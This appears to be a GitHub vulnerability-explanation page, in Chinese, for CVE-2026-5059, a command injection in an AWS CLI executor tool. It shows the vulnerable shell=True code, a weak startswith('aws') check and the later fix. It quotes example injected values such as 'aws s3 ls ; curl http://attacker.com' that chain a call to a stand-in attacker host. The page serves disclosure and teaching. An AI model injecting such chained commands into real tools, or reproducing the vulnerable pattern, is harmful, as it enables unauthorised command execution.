venom203020/CVE-2026-5059-poc

GitHub: venom203020/CVE-2026-5059-poc

该工具演示了 CVE-2026-5059 的漏洞原理与修复方式,解决了 shell=True 与弱校验导致命令注入的问题。

Stars: 0 | Forks: 0

**CVE-2026-5059 在代码中的位置** 该漏洞涉及两个协同工作的文件: **文件 1:tools.py — 根本原因** 旧版本在 `execute_piped_command()` 中使用了 `shell=True`: ```python # 旧版漏洞代码 process = subprocess.run( command, # ← 传递给 shell 的原始字符串 shell=True, # ← 问题所在 ... ) ``` 当 `shell=True` 时,操作系统 Shell 会解释整个字符串,包括 `;`、`&&`、`||`、反引号等符号 — 因此 `;` 后面的内容会作为独立命令执行。 **文件 2:security.py — 不完整的防护** 验证器仅检查命令是否以 `aws:` 开头: ```python # 旧版漏洞代码 def validate_pipe_command(command: str): if not command.strip().startswith("aws"): raise ValueError("Must start with aws") # ← 仅此为止,未检查管道符后的内容 ``` 因此 `aws s3 ls ; curl http://attacker.com` 能通过验证 — 因为以 `aws` 开头 — 随后 `shell=True` 执行了所有部分。 **为何当前版本(v1.7.0)不同** 查看当前实际代码,两个问题均已解决: ```python # cli_executor.py 中的当前代码 cmd_parts = shlex.split(command) # 拆分为列表 subprocess.run(cmd_parts, shell=False) # 列表形式,无 Shell 解释 ``` 而 security.py 已被完全删除 — 替换为操作系统级沙箱(Landlock/bwrap/Seatbelt)。 `;` 现在已无害: `"aws s3 ls ; curl http://evil.com"` → `shlex.split` → `['aws', 's3', 'ls', ';', 'curl', 'http://evil.com']` → `subprocess` 将 `;` 视为传递给 `aws` 的字面量参数 → AWS CLI 忽略它,不会执行第二条命令 **一句话总结** | 漏洞版本 | 当前 v1.7.0 | |----------|-------------| | 执行方式 | `shell=True + 字符串` | `shell=False + 列表` | | 验证方式 | 仅 `startswith("aws")` | OS 级沙箱;统一处理 | | 执行者 | Shell | 被视为纯文本 | 该 CVE 针对旧版本提交。ZDI 将其列为 0-day,因为厂商最初拒绝了报告 — 但在 CVE 发布前,架构已不再使用 `shell=True`。
标签:API密钥检测, AWS, aws-cli, bwrap, CLI执行器, CVE, CVE-2026-5059, DPI, GitHub Advanced Security, Landlock, MCP, OS沙箱, Seatbelt, shell=True, shell注入, shlex.split, startswith, subprocess, ZDI, 命令拆分, 命令注入, 安全加固, 拒绝修复, 数字签名, 架构迁移, 漏洞分析, 漏洞披露, 路径探测, 输入验证, 逆向工具, 零日漏洞